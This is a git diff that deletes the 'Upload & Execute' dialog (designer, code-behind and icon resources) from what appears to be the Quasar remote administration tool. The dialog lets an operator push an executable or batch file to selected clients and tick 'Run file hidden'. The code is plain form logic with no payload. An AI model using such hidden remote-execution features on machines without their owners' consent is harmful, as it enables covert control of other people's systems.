Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp - Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f - GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX - kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh - Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh - Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK - w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// - //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg - Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// - /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d - Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// - ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 - tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// - /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV - Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ - /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P - CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq - I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp - Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER - Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 - sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo - If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v - KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N - xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// - ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e - F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// - /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d - Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// - /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t - pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e - V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp - Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL - xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ - yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ - eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa - E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND - PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm - H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// - /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi - G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// - /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp - ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo - If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 - L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo - If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo - If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq - I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp - Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss - JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// - /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq - Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// - //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// - ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// - /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq - I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e - F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d - Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp - Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp - Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp - Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi - G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// - //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq - I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH - BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// - /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF - Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv - 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV - Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// - /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp - Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM - iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg - Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm - H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE - Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq - I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb - FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr - JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq - I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo - If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI - Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp - Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 - MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR - Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp - Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P - SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp - Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa - E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr - JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE - PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq - I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn - IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo - If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh - Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp - Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo - If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp - Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u - J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 - M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e - F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq - I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== - - - \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs b/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs deleted file mode 100644 index b1bf1dead..000000000 --- a/Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs +++ /dev/null @@ -1,119 +0,0 @@ -namespace Quasar.Server.Forms -{ - partial class FrmUploadAndExecute - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmUploadAndExecute)); - this.btnUploadAndExecute = new System.Windows.Forms.Button(); - this.chkRunHidden = new System.Windows.Forms.CheckBox(); - this.lblPath = new System.Windows.Forms.Label(); - this.txtPath = new System.Windows.Forms.TextBox(); - this.btnBrowse = new System.Windows.Forms.Button(); - this.SuspendLayout(); - // - // btnUploadAndExecute - // - this.btnUploadAndExecute.Location = new System.Drawing.Point(273, 37); - this.btnUploadAndExecute.Name = "btnUploadAndExecute"; - this.btnUploadAndExecute.Size = new System.Drawing.Size(111, 23); - this.btnUploadAndExecute.TabIndex = 4; - this.btnUploadAndExecute.Text = "Upload && Execute"; - this.btnUploadAndExecute.UseVisualStyleBackColor = true; - this.btnUploadAndExecute.Click += new System.EventHandler(this.btnUploadAndExecute_Click); - // - // chkRunHidden - // - this.chkRunHidden.AutoSize = true; - this.chkRunHidden.Location = new System.Drawing.Point(48, 41); - this.chkRunHidden.Name = "chkRunHidden"; - this.chkRunHidden.Size = new System.Drawing.Size(106, 17); - this.chkRunHidden.TabIndex = 2; - this.chkRunHidden.Text = "Run file hidden"; - this.chkRunHidden.UseVisualStyleBackColor = true; - // - // lblPath - // - this.lblPath.AutoSize = true; - this.lblPath.Location = new System.Drawing.Point(12, 9); - this.lblPath.Name = "lblPath"; - this.lblPath.Size = new System.Drawing.Size(33, 13); - this.lblPath.TabIndex = 0; - this.lblPath.Text = "Path:"; - // - // txtPath - // - this.txtPath.Location = new System.Drawing.Point(51, 6); - this.txtPath.MaxLength = 300; - this.txtPath.Name = "txtPath"; - this.txtPath.ReadOnly = true; - this.txtPath.Size = new System.Drawing.Size(333, 22); - this.txtPath.TabIndex = 1; - // - // btnBrowse - // - this.btnBrowse.Location = new System.Drawing.Point(184, 37); - this.btnBrowse.Name = "btnBrowse"; - this.btnBrowse.Size = new System.Drawing.Size(83, 23); - this.btnBrowse.TabIndex = 3; - this.btnBrowse.Text = "Browse..."; - this.btnBrowse.UseVisualStyleBackColor = true; - this.btnBrowse.Click += new System.EventHandler(this.btnBrowse_Click); - // - // FrmUploadAndExecute - // - this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; - this.ClientSize = new System.Drawing.Size(396, 72); - this.Controls.Add(this.btnBrowse); - this.Controls.Add(this.txtPath); - this.Controls.Add(this.lblPath); - this.Controls.Add(this.chkRunHidden); - this.Controls.Add(this.btnUploadAndExecute); - this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "FrmUploadAndExecute"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Upload & Execute []"; - this.Load += new System.EventHandler(this.FrmUploadAndExecute_Load); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Button btnUploadAndExecute; - private System.Windows.Forms.CheckBox chkRunHidden; - private System.Windows.Forms.Label lblPath; - private System.Windows.Forms.TextBox txtPath; - private System.Windows.Forms.Button btnBrowse; - } -} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmUploadAndExecute.cs b/Quasar.Server/Forms/FrmUploadAndExecute.cs deleted file mode 100644 index a9bf98cb8..000000000 --- a/Quasar.Server/Forms/FrmUploadAndExecute.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using System.IO; -using System.Windows.Forms; -using Quasar.Server.Helper; - -namespace Quasar.Server.Forms -{ - public partial class FrmUploadAndExecute : Form - { - public string LocalFilePath { get; set; } - public bool Hidden { get; set; } - - private readonly int _selectedClients; - - public FrmUploadAndExecute(int selected) - { - _selectedClients = selected; - InitializeComponent(); - } - - private void FrmUploadAndExecute_Load(object sender, EventArgs e) - { - this.Text = WindowHelper.GetWindowTitle("Upload & Execute", _selectedClients); - } - - private void btnBrowse_Click(object sender, EventArgs e) - { - using (OpenFileDialog ofd = new OpenFileDialog()) - { - ofd.Multiselect = false; - ofd.Filter = "Executable (*.exe)|*.exe|Batch (*.bat)|*.bat"; - if (ofd.ShowDialog() == DialogResult.OK) - { - txtPath.Text = ofd.FileName; - } - } - } - - private void btnUploadAndExecute_Click(object sender, EventArgs e) - { - LocalFilePath = File.Exists(txtPath.Text) ? txtPath.Text : string.Empty; - Hidden = chkRunHidden.Checked; - - this.DialogResult = DialogResult.OK; - this.Close(); - } - } -} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmUploadAndExecute.resx b/Quasar.Server/Forms/FrmUploadAndExecute.resx deleted file mode 100644 index 2c592595d..000000000 --- a/Quasar.Server/Forms/FrmUploadAndExecute.resx +++ /dev/null @@ -1,659 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA - IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// - /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// - /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// - /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws - JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo - If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL - Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex - Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub - lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S - zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW - 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI - hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo - If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl - Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo - Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// - /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA - //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA - AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// - 